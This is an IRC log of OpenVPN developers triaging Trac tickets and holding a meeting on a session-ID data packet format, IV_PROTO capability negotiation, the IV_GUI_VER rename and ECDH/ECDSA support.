<@plaisthos> Some things are so delibrately broken/different that they cannot be bugs 15:36 <@cron2> yeah, good point :-) - I was more hoping that you'd say "oh, this is the issue that I cleaned up in the DNS resolving" :-) 15:36 <@plaisthos> like ignoring certains signal while dns resolving 15:36 <@plaisthos> or that a USR1 is promoted to a HUP if it arrives in the initialisation phase 15:37 <@cron2> I can't explain those either 15:42 <@plaisthos> cron2: I think james is looking into IV_OPENVPN_GUI_VERSION 15:42 <@plaisthos> he mailed me asking what I do in my cient 15:43 <@cron2> cool, 15:46 <@plaisthos> I added the signal stuff to the topics list 15:46 <@plaisthos> maybe james remembers 15:46 <@plaisthos> otherwise I think we should just clean it up for 2.4 15:46 <@plaisthos> Especially the usr to hup is hurting my client 15:46 <@cron2> ack 15:52 <@vpnHelper> RSS Update - tickets: #348: IPv6 UDP server response may select a different source address than incoming destination preventing formation of the VPN tunnel <https://community.openvpn.net/openvpn/ticket/348> 15:53 <@plaisthos> cron2: did you see that I acked your remote-random patch? 15:54 <@cron2> yep, thanks. But tonight I busied myself with trac ticket sorting 16:02 <@plaisthos> cron2: and you should commit the last missing patch from the dual stack patches 16:02 <@plaisthos> [Patch v2 9/9] Move the initialization of the environment to the top so c2.es is initialized 16:02 <@plaisthos> I remember that this was needed but I don't why anymore 16:22 <@vpnHelper> RSS Update - gitrepo: Fix spurious ignoring of pushed config options (trac#349). <https://github.com/OpenVPN/openvpn/commit/1aac9a0b7a4046822a0134cd8693a828f2e16576> || Document "lz4" argument to "compress" config option. <https://github.com/OpenVPN/openvpn/commit/64e4079f32e70a25e603470483c0e95549b3ab1d> || Provide LZ4 sources in src/compat/ and use if no system lz4 library found. <https://github.com/OpenVPN/openvpn/commit/4308f237 18:22 -!- nixt [~nixt@103.1.153.219] has quit [Ping timeout: 259 seconds] 18:30 -!- nixt [~nixt@103.1.153.250] has joined #openvpn-devel 18:55 -!- nixt [~nixt@103.1.153.250] has quit [Ping timeout: 252 seconds] 20:14 -!- riddle [riddle@us.yunix.net] has quit [Disconnected by services] 20:14 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 20:15 -!- d12fk [~heiko@s15438066.onlinehome-server.info] has quit [Ping timeout: 272 seconds] 22:57 -!- psha [~psha@213.208.162.67] has joined #openvpn-devel 23:22 -!- nixt [~nixt@27.122.57.14] has joined #openvpn-devel 23:30 -!- nixt [~nixt@27.122.57.14] has quit [Ping timeout: 260 seconds] --- Day changed Thu Jan 09 2014 00:06 -!- psha [~psha@213.208.162.67] has quit [Quit: Lost terminal] 01:54 -!- mattock_afk is now known as mattock 03:43 <@cron2> plaisthos: could put links into your android bug reports into trac#355? People complain that Connect on Android 4.4 crashes tun.ko... 04:26 -!- dazo_afk is now known as dazo 04:29 <@cron2> dazo: mornin' :-) - how's your hacking time overload level these days? 04:33 <@vpnHelper> RSS Update - gitrepo: Make code and documentation for --remote-random-hostname consistent. <https://github.com/OpenVPN/openvpn/commit/7de8f3f322c1a1c13022a0243267624930dac5c9> 05:25 <@plaisthos> cron2: I already mailed james the android ticket with the details of the details 05:25 <@plaisthos> and otherwise for OpenVPN for Android there is the pending patch on the mailing list 05:54 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 05:55 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 05:55 -!- mode/#openvpn-devel [+o dazo] by ChanServ 06:12 <@plaisthos> oh right 06:13 <@plaisthos> a user tells me having to specify a CA defeats the purpose of user/password 06:25 <+krzee> uhh 06:25 <+krzee> hah 07:43 <@dazo> cron2: hey! I think I can handle a little bit ... I saw a couple of Trac reports, which sounds interesting! 07:43 <@cron2> cool :-) 07:43 <@dazo> (I need to squeeze it into my work hours, but that should be doable I think, this and next week) 07:44 <+krzee> plaisthos, did that user think the server was going to supply a login/password back to the client? 07:44 <+krzee> or is he just willing to supply his login and pass to any server that answers him? ;] 07:44 <@cron2> there are way too many things in trac that need a bit more research to decide what to do with it (2.3.3/2.3.4, 2.4, or "push elsewhere") 07:45 * cron2 spent about 6 hours yesterday and today going through the open tickets, trying to understand the issues, and categorizing 07:45 <@dazo> cron2: yeah ... it's a little bit messy 07:45 <@cron2> (I was lucky, Kids went to bed without long arguments :) ) 07:46 <@dazo> :) 07:46 <+krzee> so like -b instead of --bed 07:46 <@cron2> overall it's not that bad, but we could use more manpower on windows, and someone who understands NTLM or pkcs#11 07:46 <@cron2> krzee: lol :) 07:47 <+krzee> only thing i can tell you about NTLM is that if you wanna break it the code from #cryptohaze can prolly help 07:47 <@dazo> krzee: --force --bed, you mean ;-) 07:48 <+krzee> dazo, indeed :D 07:49 <+krzee> NTLM: md4(unicode-16le($pass)) 07:50 <@cron2> krzee: I'm more interested in the open bugs in trac and what the patches that are floating around actually *do*, and whether we should/need to merge them :-) 07:51 <+krzee> how would ntlm relate to openvpn? storing passwords in windows or something? 07:52 <@dazo> cron2: I'm generally thinking that open bugs with patches which has been open for more than 12 months, can generally be closed after having asked for another "confirmation" and without any response within 2-4 weeks 07:52 <@dazo> if people don't have that issue any more (or don't care), then it's probably a drive-by-issue, which could just as well be issues outside openvpn 07:52 <@cron2> dazo: well, if we have patched it, yes (and that's what I tend to do) 07:53 <@cron2> more interesting is the case of "someone" posting a patch, that patch doing something I completely not understand, and someone else claiming "yes, this fixes my problem" 07:53 <@dazo> yeah, agreed 07:53 <@cron2> those one of the core team needs to understand before merging 07:54 <@dazo> esp. within the authentication and SSL/TLS code paths 07:54 <@cron2> (and then there is stuff that we just never found time to, but is *still* buggy, in a non-urgent way, like #143) 07:55 <@dazo> yeah 08:00 <@plaisthos> *Sigh* from h ttps://doc.pfsense.org/index.php/Android_VPN_Connectivity#Android_4.4_.28KitKat.29 08:00 <@plaisthos> Android 4.4 (KitKat) removes the "tun" device (/dev/tun); this change is reported to break most, if not all, of the OpenVPN clients. No information is available at this time about functional OpenVPN clients for KitKat - stay tuned. 08:00 <@plaisthos> Where the hell did they get that information? 08:01 <+krzee> dunno but ecrist has a contact at pfsense iirc 08:22 <@cron2> plaisthos: I think one of the pfsense developers is even subscribed to the openvpn-devel list... lemme check 08:38 <@cron2> ah, here it is: Seth Mos <seth.mos@dds.nl> -> I'd just mail him and ask him to update that 08:47 <@cron2> yeah, trac tickets with non-responsive users are no fun... just declared "will close in 4 weeks if we do not hear from you" in a few tickets 08:50 <@cron2> d12fk: I've cc:ed you on a few tickets in trac that might interest you, or you might just say "aw, long fixed, close". If you have no time, just ignore 08:53 <@cron2> syzzer: if you're around, you might want to look into #218 09:02 <@plaisthos> there is still no way to "subscribe" to trac tickets, right? 09:06 <@cron2> you can put yourself in the cc: list 09:06 <@cron2> or do you mean to "new tickets"? 09:07 <@plaisthos> cron2: ah found it 09:08 <@plaisthos> that is non obvious and the options only appeared after I had been given more rights by mattock. I swear that it wasn't there before 09:11 <@cron2> yeah, the whole mailhandling of trac is... interesting 09:11 <@cron2> you can just post a comment, then you're auto-subscribed as well (I think) 09:42 < syzzer> cron2: no time to do it at work unfortunately :( I'll try to look into it tonight, maybe I'm able to give some feedback on it at the meeting tonight 09:52 <@ecrist> pfsense devs are difficult to work with. 09:53 <@ecrist> nearly got into a fist fight two years ago with one of them. true story 09:55 <@cron2> syzzer: thanks. Not urgent, just "polarssl, random numbers, chroot" -> fully your playground :-) 10:01 <@plaisthos> ecrist: I will show you that your idea is stupid by punching you in the face! 11:05 <@mattock> cron2: re: trac mailhandling... it's funky partly because it gets the username from LDAP, but not the email address 11:05 <@mattock> at least there's a separate (by default unfilled) email field in the user's Trac preferences 11:05 <@mattock> I've looked a bit into that issue, but haven't really done anything concrete about it yet 11:23 <@ecrist> plaisthos: makes sense to me. :P 11:25 <@dazo> syzzer: just did it slightly easier for you ... you probably just need to look at the polarssl code now :) 11:41 <@plaisthos> !meeting 11:41 <@plaisthos> !meetings 11:41 <@vpnHelper> "meetings" is OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 11:41 <@plaisthos> do we have a starting time? And if so what is that in CET? 11:46 <@dazo> plaisthos: in about 15 min ... (19:00 CET, 20:00 CEST, iirc) 11:50 <@plaisthos> dazo: thanks 11:51 <@cron2> what, so soon? argh, I expected in 1:10 11:52 <@cron2> but this day refused to take into account my ideas of time planning anyway 11:52 <@dazo> well, I see mattock's announcement says 18:00 UTC .... which normally is 19:00 CET this time of year :) 11:54 <@plaisthos> Today we learned that german OpenVPN developer are not good with calculating time zones ;) 11:54 <@dazo> heh 11:55 <@mattock> 18:00 UTC is in 5 mins 11:55 <@dazo> T-60 11:55 <@dazo> T-600 11:55 <@dazo> no, 300 11:55 <@dazo> :) 11:55 <@plaisthos> and norway where a minute can have 100s ;) 11:56 <@dazo> lol 11:56 <@dazo> plaisthos: and trust me, it's not enough! 12:01 <@mattock> hi 12:01 <@mattock> so meeting time for a change 12:01 <@dazo> :) 12:01 * syzzer reporting 12:01 <@mattock> james should hop in here very soon 12:01 * cron2 is here 12:02 <@dazo> I can't promise to be mentally present the whole time, but I'll do my best to pay attention :) 12:02 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 12:02 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:02 * cron2 sends a glass of coffee liqueur to dazo 12:03 <@dazo> heh :) thx! 12:03 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2014-01-09 12:03 <@vpnHelper> Title: Topics-2014-01-09 – OpenVPN Community (at community.openvpn.net) 12:03 <@mattock> janjust said he tries to get in this meeting 12:04 <@mattock> so we have some heavy-duty stuff today: "Figure out definition of the new data frame format with and without session ID" 12:04 <@mattock> links to previous discussion on the topic page 12:04 <@cron2> I think that one is pretty much "remind james that he wants to tell us how it should look like" :) 12:05 <@mattock> :P 12:05 <@mattock> james: do you have any documentation on this matter? 12:07 <@mattock> plaisthos: are you present? 12:08 <@plaisthos> mattock: yes 12:08 <@mattock> ok, great! 12:08 <@mattock> you will be needed for the next topic 12:09 <@mattock> jamesyonan? 12:11 <@jamesyonan> hi, just refreshing my memory on this 12:11 <@mattock> ok 12:11 <@mattock> these is a summary of our Munich discussions here: https://community.openvpn.net/openvpn/wiki/MunichHackathon2013#results 12:11 <@vpnHelper> Title: MunichHackathon2013 – OpenVPN Community (at community.openvpn.net) 12:12 <@mattock> under "packet format and alignment" if I'm not mistaken 12:14 <@jamesyonan> right, the basic idea is that if bandwidth were never an issue we just send the full session ID with every packet, but... 12:14 <@jamesyonan> to save bandwidth, optimize this in some way so that both peers only need to send the session ID when necessary 12:15 <@plaisthos> So basically two new opcode for IS_SWAPPED and HAS_SESSION ID 12:15 <@jamesyonan> we already do this to some extent, in that currently only control channel packets contain a session ID 12:15 <@plaisthos> so the new session ID is only needed for DATA packets? 12:15 <@jamesyonan> yes 12:15 <@cron2> yep 12:16 <@plaisthos> so P_DATA_SWAPPED and P_DATA_SESSIONID 12:16 <@cron2> which source files do I need to read to understand frame format, and opcode definitions? 12:16 <@plaisthos> (and the sessionid would have also a nice alignment) 12:17 <@plaisthos> cron2: ssl.h has the opcodes 12:17 <@plaisthos> packet format is iirc implicit 12:17 <@cron2> plaisthos: session ID would be swapped as well 12:18 <@cron2> plaisthos: well, "which .c file builds packets"? never had to research *that* 12:20 <@plaisthos> cron2: hm it is in forward.c but spread over multiple functions 12:20 <@cron2> *note* 12:20 <@plaisthos> but the problem we are talking about is [opcode - one byte][encrypted data] 12:21 <@cron2> plaisthos: I think I fully understand the problem and solution proposed ;-) - I just had no idea where to look for actual code 12:21 <@cron2> the compression layer also does the byte-swapping-for-alignment 12:21 <@plaisthos> cron2: tls_post_encrypt for the op code adding to data 12:21 <@cron2> thanks (I'll go and read) 12:24 <@plaisthos> how many bits do we need for a session id? 12:24 <@plaisthos> 24, 32, 56? 12:24 <@jamesyonan> 64 12:25 <@plaisthos> that is the session id size of the control session, right? 12:26 <@jamesyonan> yes 12:27 <@plaisthos> so for the new P_WITH_SESSION ID should we use the session id to align the packet or keep it in place and do swapping? 12:27 <@plaisthos> like [op][first 3 byte of session][tls data][5 byte of session id]? 12:27 <@jamesyonan> I think we have to swap 12:27 <@cron2> I'd go for "with the new opcode, you always swap the first byte" 12:28 <@cron2> opcodes 12:28 <@jamesyonan> otherwise the first opcode byte will misalign everything that comes after 12:28 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 12:28 -!- mode/#openvpn-devel [+v janjust] by ChanServ 12:29 <@jamesyonan> we also need to add some capabilties negotiation so that peers can indicate whether or not they support P_DATA_SWAPPED and P_DATA_SESSIONID 12:29 <@cron2> all in the minutes from Munich :) 12:29 <@cron2> right at the end there's a TODO list for this 12:30 <@plaisthos> we could do this by adding a IV_FORMAT 1? 12:30 <@cron2> well, I called it IV_PROTO=2, but you can name it IV_FORMAT=1 if you want 12:30 <@plaisthos> IV_PROTO sounds nice 12:30 <@plaisthos> r 12:30 <@cron2> peer-info is transmitted in the control stream, as is pushed config 12:31 <+janjust> hi y'all ; did the meeting start? or is it 2000 euro time? 12:31 <@plaisthos> janjust: did start at 1900 cet 12:31 <@mattock> janjust: the meeting started 30 mins ago, we're still at first topic 12:31 <+janjust> whoops, sorry for being late 12:31 <@jamesyonan> the buffer where IV_x parms are staged is small, so we want to be conservative in terms of space 12:32 <@jamesyonan> maybe IV_FLAGS=x and we can add flags as needed 12:32 <@plaisthos> jamesyonan: we can still make IV_PROTO count up 12:32 <@cron2> that was my assumption, just count up for new wire-format changes 12:33 <@jamesyonan> sure, that's reasonable 12:36 <@plaisthos> we could also mandate that all IV_PROTO=2 client support at least STUB compression (or even lz4) 12:36 <@mattock> once you guys are done with the discussion, please summarize it for me, all this goes over my head :D 12:37 <@mattock> for me + the general public 12:37 <@cron2> mattock: as far as we're today, it's all in the notes from Munich :-) 12:37 <@cron2> except that we now have opcode names 12:37 <@mattock> ok 12:37 <@mattock> we'll see where this goes and update the docs 12:38 <@jamesyonan> I'm wary of making compression algs part of IV_PROTO because sometimes for space or licensing reasons a given alg might not be included, even though the OpenVPN implementation uses a higher IV_PROTO level 12:38 <@plaisthos> jamesyonan: ah okay 12:38 <@plaisthos> was just a quick idea 12:42 <@cron2> ok, I think we have all we need, except for one thing - is one of us volunteering to go forward with this "soonish" (mainly to avoid two persons starting and doubling effort) 12:42 <+janjust> I am still reading up on the IV_PROTO part ... (I've been out of openvpn & its development for some time). Does IV_PROTO=2 allow for some sort of negotiation (say similar to PPP style negotation) ? 12:43 <@cron2> yes and no, we already have negotiation of many sorts :-) 12:43 <@cron2> client sends capabilites in IV_ strings in the "peer info", server sends back result as part of PUSH_REPLY 12:43 <+janjust> well, how about encryption/compression/hashing negotiation? 12:43 <@plaisthos> janjust: different topic :) 12:44 <@plaisthos> compression is in there 12:44 <@cron2> this works for all but --cipher and --auth, but that's primarily due to the 2.x code base not permitting pushed --cipher - protocolwise, it would work 12:44 <+janjust> plaisthos: true, but when designing a new IV_PROTO mechanism it would be nice to ensure that a negotation is possible in the future 12:44 <@dazo> and pushing --cipher would be quite hard, as you would need to re-setup the tunnel with the new parameters 12:44 <@cron2> janjust: listen closely :-) 12:44 <@cron2> dazo: no 12:45 <@cron2> I said "2.x code base". The 3 code base already understands this 12:45 <@plaisthos> dazo: no 12:45 <@jamesyonan> the basic concept that OpenVPN currently uses for negotiation is to have the client send a list of key value pairs (IV_x) to server stating capabilities then server sends "push" commands back based on the intersection of its own capabilities and those of the client 12:45 <+janjust> pushing a ciphier is not the same as negotiating one - for example , the TLS channel cipher that is chosen is actually negotiated by the OpenSSL TLS session layer in most cases 12:45 <@cron2> PUSH_REPLY and peer-info happens in the TLS bit, data layer is crypted+authed by --cipher/--auth 12:45 <@dazo> no? The push comes after the TLS authentication and encryption setup, doesn't it? 12:46 <@cron2> dazo: yes, but the *TLS* parameters are not used for *data* packets 12:46 <@plaisthos> dazo: yes but typtically you have different encryption ciphers for control and data packets 12:46 <@dazo> ahh, okay 12:46 <@cron2> this is actually quite nice :-) 12:46 <@dazo> agreed 12:46 <+janjust> but I'm digressing here - as long as the new IV_PROTO system is extensible in the future then I'm happy 12:46 <@cron2> janjust: the client would send a list of supported ciphers, and the server would pick the "best" and push the result back 12:47 <@cron2> so it might not be full two-way negotiation (like in PPP where you can go back and forth numerous times) but a client/server thing 12:47 <@cron2> we can do it today for compression protocol (lzo/snappy/lz4), just not yet for --cipher and --auth 12:47 <+janjust> cron2: agreed 12:48 <@cron2> (and I've not yet spent thoughts whether it would work for peer-to-peer mode where you don't have push) 12:48 <+janjust> there are other parameters that might be worthwhile to 'negotiate', e.g assymetric tun-mtu sizes 12:49 <+janjust> but again, I'm digressing, so I'll shut up for now 12:51 <@mattock> so has this topic been covered? 12:51 <@plaisthos> Think so 12:52 <@plaisthos> Aside from someone coding a prototype 12:52 < syzzer> Yeah, except that we need commitments ;) 12:52 < syzzer> not sure about coding prototype, a clear doc on the (old and) new packet format would be a good start I think 12:53 <@mattock> syzzer: +1 12:53 <@mattock> who could do that? James? 12:53 <@cron2> you crypto guys are so obsessed with documentation... 12:53 <@mattock> who need any frigging documentation, right? :P 12:53 <@dazo> R T F code 12:53 <+krzee> crypto code documents itself, amirite? 12:54 <+krzee> :D 12:54 < syzzer> hehe, yeah, we tend to do that ;) 12:54 <@dazo> :) 12:54 <@plaisthos> krzee: have fun reading openssl code 12:54 <@jamesyonan> yes, I can document 12:54 <@dazo> plaisthos++ 12:54 <+krzee> plaisthos, i couldnt even handle openvpn code ;] 12:54 <@plaisthos> krzee: have no idea 12:54 <@plaisthos> +you 12:55 <@plaisthos> try reading openssl 12:55 < syzzer> jamesyonan: well at least I would appreciate that ;) 12:55 <@cron2> +1 12:55 <@plaisthos> and you start asking yourself why this horrible code is one of the most used security libraries 12:55 <@jamesyonan> openssl is so retro 90s C -- gotta love it :) 12:55 <+janjust> lol @ plaisthos ; I'm a little too familiar with the openssl code 12:55 <@mattock> ok, I'll make a note that "James will document the old and new packet format" 12:55 <+janjust> at least it's C and not C++ :P 12:55 <@plaisthos> I can code an intial protype for the new format in OpenVPN 2.x 12:55 <@cron2> should we tell janjust about OpenVPN 3? 12:56 <@plaisthos> cron2: nah 12:56 <+janjust> hehe cron2, I'm aware that that's written in C++ 12:56 * dazo grabs some popcorn 12:56 <@jamesyonan> C++ is great 12:56 <@mattock> dazo: good idea :) 12:56 <+janjust> well written C++ is great, horribly written C++ is far worse than horribly written C 12:56 <@jamesyonan> agreed 12:57 <@plaisthos> (like without fancy automatic recovery and stuff, just always send the session id) 12:58 <@plaisthos> but so client and server understand the new formats 12:59 <@jamesyonan> plaisthos: are you saying we should always send the session ID even in data packets? 12:59 <@cron2> plaisthos: well, not "alway" please, just once a second or so 12:59 <@cron2> (for the prototype) 12:59 <@plaisthos> jamesyonan, cron2: I have to look at the timer stuff in OpenVPN 13:00 * cron2 is in the "we only send the session ID if we haven't heard from the other side in a suspicously long time" camp 13:00 <@plaisthos> I have no idea how hard it is to figure out (is the last timestamp 1s ago) 13:00 <@cron2> it's not exactly "timer" as in "tell me about this in <x> ms", more in "keep a timestamp $somewhere" 13:01 <@jamesyonan> well one starting point would be to initially only send the session ID on ping (keepalive) packets 13:01 <@cron2> is a ping packet a normal data packet? 13:01 <@jamesyonan> yes, mostly 13:02 <@jamesyonan> it follows the data channel 13:04 <@jamesyonan> one approach could be something like (a) when sending packet, include session ID if last session ID was transmitted more than n seconds ago, and (b) always include session ID on pings 13:05 <@cron2> if it's easy to do, I'd go for "if the last packet from the other side was heard longer than <n> time units ago" 13:05 <@cron2> because if both sides are happily sending packets back end forth, we have no need whatsoever for a session ID 13:06 <@cron2> but if we do not see packets from the other side, we might have "lost" the peer 13:06 <@cron2> (module some "no more often than <x>" if we have truly unidirectional traffic) 13:08 <@plaisthos> or just relay on PING alltogether 13:08 <@plaisthos> so we don't run into the packets with session id have a smaller mtu than packets without 13:08 <@cron2> people tell me that they want to send pings very seldom (battery life) but have fast float failover for their mobile stuff... 13:09 <@cron2> but I think this is something that can be nicely tuned if the basic mechanics are there 13:09 < syzzer> cron2++ 13:09 <@jamesyonan> right now pings are only sent during traffic quiet time 13:10 <@jamesyonan> so an active connection with packets flowing in both directions will never xmit a ping 13:10 <@plaisthos> cron2: I meant sending an out of order ping with session id 13:10 <@plaisthos> or if we have session ids just reduce the mtu by 8 13:10 <@plaisthos> otherwise we might get strange mtu problems :/ 13:11 <@cron2> plaisthos: ah, yes, that would work as well. Or just do it for non-full packets. 13:11 <@jamesyonan> yes, good point 13:11 <@cron2> jamesyonan: but if packets are flowing both ways, you have no need to send the session ID anyway 13:12 <@jamesyonan> but using only ping packets could potentially add to the delay before peers can reconnect on new network 13:13 < syzzer> if one side is sending out packets, I guess it won't send out ping packets 13:13 <@cron2> true, so use "non-full" packets or artificial ping, if the other side went silent suddenly 13:13 <@plaisthos> cron2: non full won't work 13:13 <@jamesyonan> is it the case that the only purpose of this feature is to allow client to change its IP address without full TLS renegotiation? 13:14 <@cron2> "if there is no non-full packet around, send a ping" 13:14 <@plaisthos> jamesyonan: as I understood it, yes 13:14 <@cron2> jamesyonan: the session ID is only for --float in TLS mode 13:14 <@cron2> ("as I understood") 13:15 <@jamesyonan> what if we think about this differently… suppose we just add a new control channel message that says "client changed IP address" 13:15 <@cron2> the IV_PROTO=2 is for alignment, and it gives us a nice vehicle to do the other bit right away 13:15 <@cron2> you don't necessarily know that the IP address has changed 13:15 <@cron2> there are broken enough setups with layers of NAT... 13:16 <@plaisthos> jamesyonan: the client might not know that 13:16 <@cron2> a mobile client that roams wifi/3G will know, but someone behind an expiring/rebooting NAT might not 13:16 <@plaisthos> the NAT of my mobile provider has a timeout of 60s for UDP unless I use the SIP UDP port 13:17 <@jamesyonan> on mobile though, usually the client gets a message about network transitions 13:18 < syzzer> well, Android for example tries to do that, but (at least about a year ago) fails to report properly quite regularly... 13:20 <@plaisthos> jamesyonan: not about the expiring NAT session :/ 13:21 <@plaisthos> the control channel message with "client changed IP address" is ping with session id, right? 13:21 <@cron2> +1 :) 13:22 <@jamesyonan> ping with session ID would be a data channel message 13:23 <@jamesyonan> I would tend to agree that adding the session ID to a ping packet is probably the best/easiest-to-implement solution 13:24 <@jamesyonan> however then we would need to change the ping timing alg to always ping even when traffic exists 13:24 <@plaisthos> ah a ping packet is basically a data packet with lenght 0 13:25 * plaisthos found it in the source 13:25 <@jamesyonan> and the ping delay would become the worst case delay for network transition detection 13:25 <@jamesyonan> no, a ping is a specific sequence of bytes 13:25 <@plaisthos> okay I misread the source then 13:26 <@plaisthos> yeah I did 13:26 <@jamesyonan> it's a 16 byte constant message sent within the framing of a data channel packet 13:30 <@cron2> ok, I think this topic has been exhaustively covered :-) 13:30 <@jamesyonan> the downside of session ID hitching a ride on a ping packet is that we might want to increase the ping delay in the future to reduce overhead, and this means that we will also be increasing worst-case failover delay 13:30 <@cron2> shall we jump to GUI VERSION and come back to this when we have a prototype 13:31 <@cron2> jamesyonan: this is why I proposed to do "ping with ID" and as well "data packet with ID if we feel like it" and the "if we feel like it" can be fine tuned when we have experience 13:31 <@jamesyonan> agreed, but plaisthos has a good point about not wanting to push against mtu limits 13:32 <@mattock> yeah, let's continue 13:32 <@mattock> let's "sleep over it" 13:32 <@mattock> maybe discuss it on the ml and/or next week in a meeting 13:32 <@cron2> jamesyonan: if no suitable data packet can be found, we can just send an out-of-order ping "because we feel like it" 13:33 <@jamesyonan> right, maybe hitch session ID on smaller data packets, and only resort to out-of-order ping if necessary 13:34 <@cron2> that was my idea 13:36 <@jamesyonan> that sounds good with the added logic that sess ID only added to packets if doing so does not increase packet size beyond mtu 13:36 <@cron2> yep, "suitable data packet" 13:37 <@jamesyonan> is this something that will be on by default, or enabled with a directive? 13:37 <@jamesyonan> and if it's a directive, does it include a max-seconds-delay parameter? 13:38 * cron2 hasn't thought about that question yet (but I assumed there would be a configurable "delay" parameter) 13:40 <@jamesyonan> ok, shall we move on? 13:40 <@cron2> yep 13:40 <@mattock> sounds good, 100 minutes for one topic is a lot :P 13:41 <@mattock> "Missing "IV_OPENVPN_GUI_VERSION" in OpenVPN Connect" 13:41 <@mattock> so plaisthos added this thing to OpenVPN for Android already, right? 13:41 <@jamesyonan> ok, good new is that I just added it 13:41 <@mattock> nice! 13:41 <@cron2> is it on staging? 13:41 <@plaisthos> jamesyonan: you said earlier that IV_ space is precious 13:41 <@plaisthos> we can also still change that to something small like IV_GUI_VER 13:42 <@jamesyonan> yes, IV_GUI_VER would be better if it's not too much trouble to change 13:43 <@cron2> as it is in no released 2.x version yet, now would be a good time to do so 13:43 <@mattock> could someone review/fix this very brief summary of the previous discussion: http://fpaste.org/67160/29653413/ 13:43 <@mattock> something is surely missing :P 13:43 <@cron2> IV_OPENVPN_GUI_VERSION=net.openvpn.connect.ios_1.0.4-133 13:44 <@cron2> \o/ 13:45 <@jamesyonan> + for IV_GUI_VER 13:45 <@jamesyonan> +1 13:45 <@cron2> mattock: "specific timing and configuration of feature is subject to further discussion when we have a prototype to experiment with" 13:45 <@mattock> cron2: ok, fixing 13:47 <@mattock> ok, next topic? 13:48 <@mattock> which would be "Signal handling is a bit funny in some places" 13:48 <@mattock> of course, we don't have to discuss everything today 13:48 <@cron2> I've just sent a IV_GUI_VER= patch to the list 13:48 <@mattock> oh, that was quick 13:50 <@cron2> trivial change :) 13:50 <@mattock> yep :) 13:50 <@mattock> actually, maybe we should discuss the "​ssl: enable basic ecdsa" patch? 13:50 <@mattock> janjust is here primarily for that reason 13:51 <@mattock> and we're at 1:50 and counting :P 13:51 <+janjust> hehe yep 13:52 <+janjust> my main question about that patch is: is something blocking it? 13:52 <+janjust> I know it is not full EC support, but at least it allows for ecdsa+sha2 signed certs 13:53 < syzzer> ah, I think this is my cue :p 13:53 <+janjust> yep 13:53 < syzzer> the patch actually is ECDH, not ECDSA, but still it's nice and should be integrated 13:54 <@cron2> syzzer: so ACK. For 2.4, or do you feel it's safe+needed for 2.3? 13:54 <+janjust> agreed, I misnamed it because openssl itself misnames it 13:54 <@jamesyonan> the patch only addresses OpenSSL right now? 13:54 < syzzer> I've started looking at it a couple of weeks ago, and the basis is good 13:54 <+janjust> jamesyonan: yes 13:54 < syzzer> jamesyonan: but hat is not an issue, I've got patches for polar lying around 13:54 <@jamesyonan> it might be nice to have a PolarSSL patch as well 13:55 <@jamesyonan> what more is required for full EC support? 13:55 < syzzer> problem is, it needs stuff that's not yet released by pkcs11-helper (well, it is in git master...) 13:55 <@jamesyonan> like what? 13:55 <+janjust> "full EC support" means that the key exchange in openvpn needs to be altered 13:56 <+janjust> encryption is still done using AES - but ECDH replaces regular DH key exchange 13:56 < syzzer> jamesyonan: the ECDH patch from janjust uses a fixed or chosen curve for ECDH, while the TLS spec actually says 'use the curve from the certificate' 13:56 <+janjust> syzzer: the second version of my patch allows a user to choose a curve 13:56 <@jamesyonan> but if it's just a change to TLS negotiation, wouldn't it be transparent to OpenVPN data channel? 13:57 < syzzer> yeah, so security-wise it's fine, its just not really TLS-compliant 13:57 <+janjust> jamesyonan: yes, but it might be nice to alter the key exchange for the data channel as well to support Elliptic Curves 13:57 < syzzer> ECDH is the key exchange, ECDSA the signature algorithm 13:57 <@jamesyonan> but the data channel is purely a symmetric crypto operation 13:57 < syzzer> for full EC-support we'll need ECDSA too 13:58 < syzzer> yep, no EC stuff neede for the data channel 13:58 <+janjust> ah good, this is new for me :) 13:58 < syzzer> furthermore, TLS also keeps using AES or some other symmetric cipher for the tls-encryption 13:58 < syzzer> it will just use EC for key exchange and signature algorithm 13:58 < syzzer> just the way it does for RSA 13:58 <@jamesyonan> syzzer: but what do you mean by "not really TLS-compliant"? 13:59 < syzzer> TLS expects ECDH to use the same curve as was used in the certificate, so same curve as for ECDSA 13:59 < syzzer> but for that, we'll need ECDSA support 14:00 <+janjust> syzzer: what would we need for ECDSA support? I'm willing to investigate/contribute 14:00 <@jamesyonan> but can this be done in a way that only affects OpenVPN code that configures the SSL/TLS connection properties, not the control channel or data channel code? 14:01 < syzzer> I'n not sure yet, I'm not too familiar with the OpenSSL API. 14:01 < syzzer> jamesyonan: yes, I think so 14:01 <+janjust> errrr, if we do full ECDSA (signing) support, wouldn't it make sense to sign the datachannel using ECDSA also? 14:01 <@jamesyonan> OpenVPN tries to treat SSL/TLS protocol as a black box (other than initial setup) 14:02 < syzzer> data channel uses HMAC 14:02 < syzzer> which is way faster and very secure 14:02 < syzzer> it needs the slow (and less trusted) asymmetric stuff just for key exchange 14:03 <@jamesyonan> Right -- I don't think the asymmetric stuff belongs in the ovpn data channel 14:03 <+janjust> I agree 14:04 <+janjust> it's just that I'm a bit confused about hashing and signing - certs can be signed using ECDSA or using SHA1; the data channel can be protected using SHA HMAC signing. 14:04 < syzzer> TLS basically does the same, it uses (EC)DH for key exchange, ECDSA/RSA for proving identity and then exchanges AES/SHA keys for encrypting and authenticating data packets 14:04 < syzzer> ECDSA certificates still use SHA 14:04 <+janjust> ah ok syzzer 14:04 < syzzer> the data is first hashed, and the hash is signed using RSA or ECDSA 14:05 < syzzer> HMAC-SHA is different from 'regular' SHA 14:06 <+janjust> if that's the case then all EC stuff can be kept outside of the data channel 14:06 <@cron2> mattock: as complete cross-talk - I've looked at the "new tickets" and there is nothing which I consider urgent for 2.3.3, so we can safely postpone that 14:06 < syzzer> yes, I'm sure of that :) 14:06 <@mattock> cron2: ok, good 14:06 <+janjust> cron2: I added a few comments to some tickets, esp about the pkcs11 stuff 14:06 < syzzer> data channel is symmetric cipher only 14:06 <@cron2> janjust: cool, thanks 14:06 <@plaisthos> cron2: I acked your IV_GUI_VER patch 14:07 < syzzer> so, commitments then... 14:07 